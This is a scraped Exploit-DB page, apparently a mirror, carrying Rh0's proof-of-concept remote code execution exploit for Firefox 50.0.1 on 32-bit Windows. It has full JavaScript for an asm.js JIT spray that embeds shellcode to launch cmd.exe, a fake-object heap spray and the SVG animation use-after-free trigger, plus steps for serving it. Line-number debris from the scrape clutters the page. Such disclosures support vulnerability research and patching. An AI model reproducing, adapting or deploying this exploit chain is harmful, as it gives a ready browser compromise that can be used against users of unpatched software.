Firefox 50.0.1 – ASM.JS JIT-Spray Remote Code Execution

Exploit Database
109 阅读

作者： Rh0

日期： 2017-07-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/42327/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

<!DOCTYPE HTML>

<!--

FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)

PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)

Tested on:

Release 50.0.1 32-bit - Windows 8.1 / Windows 10

https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe

Howto:

1) serve PoC over network and open it in Firefox 50.0.1 32-bit

2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe

A successfull exploit attempt should pop cmd.exe

Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/

Jul. 13, 2017

-->

function asm_js_module(){

"use asm";

/* huge jitted nop sled */

function payload_code(){

var val = 0;

val = (val + 0xa8909090)|0;

/* 3 byte VirtualAlloc RWX stager */

val = (val + 0xa890db31)|0;

val = (val + 0xa89030b3)|0;

val = (val + 0xa81b8b64)|0;

val = (val + 0xa80c5b8b)|0;

val = (val + 0xa81c5b8b)|0;

val = (val + 0xa8b9006a)|0;

val = (val + 0xa8904c4c)|0;

val = (val + 0xa8902eb1)|0;

val = (val + 0xa85144b5)|0;

val = (val + 0xa8b99090)|0;

val = (val + 0xa8903233)|0;

val = (val + 0xa89045b1)|0;

val = (val + 0xa8514cb5)|0;

val = (val + 0xa8b99090)|0;

val = (val + 0xa8904e52)|0;

val = (val + 0xa8904bb1)|0;

val = (val + 0xa85145b5)|0;

val = (val + 0xa8590e6a)|0;

val = (val + 0xa84fe789)|0;

val = (val + 0xa8086b8b)|0;

val = (val + 0xa820738b)|0;

val = (val + 0xa8471b8b)|0;

val = (val + 0xa82ae349)|0;

val = (val + 0xa890c031)|0;

val = (val + 0xa890ad66)|0;

val = (val + 0xa89c613c)|0;

val = (val + 0xa8077c9d)|0;

val = (val + 0xa890202c)|0;

val = (val + 0xa89c073a)|0;

val = (val + 0xa8d7749d)|0;

val = (val + 0xa890bdeb)|0;

val = (val + 0xa8b9006a)|0;

val = (val + 0xa890636f)|0;

val = (val + 0xa8906cb1)|0;

val = (val + 0xa8516cb5)|0;

val = (val + 0xa8b99090)|0;

val = (val + 0xa890416c)|0;

val = (val + 0xa89075b1)|0;

val = (val + 0xa85161b5)|0;

val = (val + 0xa8b99090)|0;

val = (val + 0xa8907472)|0;

val = (val + 0xa89056b1)|0;

val = (val + 0xa85169b5)|0;

val = (val + 0xa890eb89)|0;

val = (val + 0xa83cc583)|0;

val = (val + 0xa8006d8b)|0;

val = (val + 0xa890dd01)|0;

val = (val + 0xa878c583)|0;

val = (val + 0xa8006d8b)|0;

val = (val + 0xa890dd01)|0;

val = (val + 0xa820458b)|0;

val = (val + 0xa890d801)|0;

val = (val + 0xa890d231)|0;

val = (val + 0xa890e789)|0;

val = (val + 0xa8590d6a)|0;

val = (val + 0xa810348b)|0;

val = (val + 0xa890de01)|0;

val = (val + 0xa890a6f3)|0;

val = (val + 0xa8900de3)|0;

val = (val + 0xa804c283)|0;

val = (val + 0xa890dbeb)|0;

val = (val + 0xa8247d8b)|0;

val = (val + 0xa890df01)|0;

val = (val + 0xa890ead1)|0;

val = (val + 0xa890d701)|0;

val = (val + 0xa890d231)|0;

val = (val + 0xa8178b66)|0;

val = (val + 0xa81c7d8b)|0;

val = (val + 0xa890df01)|0;

val = (val + 0xa802e2c1)|0;

val = (val + 0xa890d701)|0;

val = (val + 0xa8903f8b)|0;

val = (val + 0xa890df01)|0;

val = (val + 0xa890406a)|0;

val = (val + 0xa890c031)|0;

val = (val + 0xa85030b4)|0;

val = (val + 0xa85010b4)|0;

val = (val + 0xa890006a)|0;

val = (val + 0xa890d7ff)|0;

val = (val + 0xa890c931)|0;

val = (val + 0xa89000b5)|0;

val = (val + 0xa890c3b1)|0;

val = (val + 0xa890ebd9)|0;

val = (val + 0xa82434d9)|0;

val = (val + 0xa890e689)|0;

val = (val + 0xa80cc683)|0;

val = (val + 0xa890368b)|0;

val = (val + 0xa85fc683)|0;

val = (val + 0xa890c789)|0;

val = (val + 0xa81e8b66)|0;

val = (val + 0xa81f8966)|0;

val = (val + 0xa802c683)|0;

val = (val + 0xa802c783)|0;

val = (val + 0xa8901e8a)|0;

val = (val + 0xa8901f88)|0;

val = (val + 0xa803c683)|0;

val = (val + 0xa801c783)|0;

val = (val + 0xa803e983)|0;

val = (val + 0xa89008e3)|0;

val = (val + 0xa890cceb)|0;

val = (val + 0xa890e0ff)|0;

val = (val + 0xa824248d)|0;

/* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */

val = (val + 0xa882e8fc)|0;

val = (val + 0xa8000000)|0;

val = (val + 0xa8e58960)|0;

val = (val + 0xa864c031)|0;

val = (val + 0xa830508b)|0;

val = (val + 0xa80c528b)|0;

val = (val + 0xa814528b)|0;

val = (val + 0xa828728b)|0;

val = (val + 0xa84ab70f)|0;

val = (val + 0xa8ff3126)|0;

val = (val + 0xa8613cac)|0;

val = (val + 0xa82c027c)|0;

val = (val + 0xa8cfc120)|0;

val = (val + 0xa8c7010d)|0;

val = (val + 0xa852f2e2)|0;

val = (val + 0xa8528b57)|0;

val = (val + 0xa84a8b10)|0;

val = (val + 0xa84c8b3c)|0;

val = (val + 0xa8e37811)|0;

val = (val + 0xa8d10148)|0;

val = (val + 0xa8598b51)|0;

val = (val + 0xa8d30120)|0;

val = (val + 0xa818498b)|0;

val = (val + 0xa8493ae3)|0;

val = (val + 0xa88b348b)|0;

val = (val + 0xa831d601)|0;

val = (val + 0xa8c1acff)|0;

val = (val + 0xa8010dcf)|0;

val = (val + 0xa8e038c7)|0;

val = (val + 0xa803f675)|0;

val = (val + 0xa83bf87d)|0;

val = (val + 0xa875247d)|0;

val = (val + 0xa88b58e4)|0;

val = (val + 0xa8012458)|0;

val = (val + 0xa88b66d3)|0;

val = (val + 0xa88b4b0c)|0;

val = (val + 0xa8011c58)|0;

val = (val + 0xa8048bd3)|0;

val = (val + 0xa8d0018b)|0;

val = (val + 0xa8244489)|0;

val = (val + 0xa85b5b24)|0;

val = (val + 0xa85a5961)|0;

val = (val + 0xa8e0ff51)|0;

val = (val + 0xa85a5f5f)|0;

val = (val + 0xa8eb128b)|0;

val = (val + 0xa86a5d8d)|0;

val = (val + 0xa8858d01)|0;

val = (val + 0xa80000b2)|0;

val = (val + 0xa8685000)|0;

val = (val + 0xa86f8b31)|0;

val = (val + 0xa8d5ff87)|0;

val = (val + 0xa80efebb)|0;

val = (val + 0xa868ea32)|0;

val = (val + 0xa8bd95a6)|0;

val = (val + 0xa8d5ff9d)|0;

val = (val + 0xa87c063c)|0;

val = (val + 0xa8fb800a)|0;

val = (val + 0xa80575e0)|0;

val = (val + 0xa81347bb)|0;

val = (val + 0xa86a6f72)|0;

val = (val + 0xa8ff5300)|0;

val = (val + 0xa86d63d5)|0;

val = (val + 0xa8652e64)|0;

val = (val + 0xa8006578)|0;

val = (val + 0xa8909090)|0;

return val|0;

}

return payload_code

}

</script>

function spray_asm_js_modules(){

sprayed = []

for (var i=0; i<= 0x1800; i++){

sprayed[i] = asm_js_module()

}

/* heap spray inspired by skylined */

function heap_spray_fake_objects(){

var heap = []

var current_address = 0x08000000

var block_size = 0x1000000

while(current_address < object_target_address){

var heap_block = new Uint32Array(block_size/4 - 0x100)

for (var offset = 0; offset < block_size; offset += 0x100000){

/* fake object target = ecx + 0x88 and fake vtable*/

heap_block[offset/4 + 0x00/4] = object_target_address

/* self + 4 */

heap_block[offset/4 + 0x14/4] = object_target_address

/* the path to EIP */

heap_block[offset/4 + 0x18/4] = 4

heap_block[offset/4 + 0xac/4] = 1

/* fake virtual function --> JIT target */

heap_block[offset/4 + 0x138/4] = jit_payload_target

}

heap.push(heap_block)

current_address += block_size

}

return heap

}

/* address of fake object */

object_target_address = 0x30300000

/* address of our jitted shellcode */

jit_payload_target = 0x1c1c0054

/* ASM.JS JIT Spray */

spray_asm_js_modules()

/* Spray fake objects */

heap = heap_spray_fake_objects()

/* -----> */

/* bug trigger ripped from bugzilla report */

var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');

worker.postMessage("zero");

var svgns = 'http://www.w3.org/2000/svg';

var heap80 = new Array(0x1000);

var heap100 = new Array(0x4000);

var block80 = new ArrayBuffer(0x80);

var block100 = new ArrayBuffer(0x100);

var sprayBase = undefined;

var arrBase = undefined;

var animateX = undefined;

var containerA = undefined;

var offset = 0x88 // Firefox 50.0.1

var exploit = function(){

var u32 = new Uint32Array(block80)

u32[0x4] = arrBase - offset;

u32[0xa] = arrBase - offset;

u32[0x10] = arrBase - offset;

for(i = heap100.length/2; i < heap100.length; i++)

{

heap100[i] = block100.slice(0)

}

for(i = 0; i < heap80.length/2; i++)

{

heap80[i] = block80.slice(0)

}

animateX.setAttribute('begin', '59s')

animateX.setAttribute('begin', '58s')

for(i = heap80.length/2; i < heap80.length; i++)

{

heap80[i] = block80.slice(0)

}

for(i = heap100.length/2; i < heap100.length; i++)

{

heap100[i] = block100.slice(0)

}

animateX.setAttribute('begin', '10s')

animateX.setAttribute('begin', '9s')

containerA.pauseAnimations();

}

worker.onmessage = function(e) {arrBase=object_target_address; exploit()}

//worker.onmessage = function(e) {arrBase=0x30300000; exploit()}

var trigger = function(){

containerA = document.createElementNS(svgns, 'svg')

var containerB = document.createElementNS(svgns, 'svg');

animateX = document.createElementNS(svgns, 'animate')

var animateA = document.createElementNS(svgns, 'animate')

var animateB = document.createElementNS(svgns, 'animate')

var animateC = document.createElementNS(svgns, 'animate')

var idA = "ia";

var idC = "ic";

animateA.setAttribute('id', idA);

animateA.setAttribute('end', '50s');

animateB.setAttribute('begin', '60s');

animateB.setAttribute('end', idC + '.end');

animateC.setAttribute('id', idC);

animateC.setAttribute('end', idA + '.end');

containerA.appendChild(animateX)

containerA.appendChild(animateA)

containerA.appendChild(animateB)

containerB.appendChild(animateC)

document.body.appendChild(containerA);

document.body.appendChild(containerB);

}

window.onload = trigger;

setInterval("window.location.reload()", 3000)

/* <----- */

</script>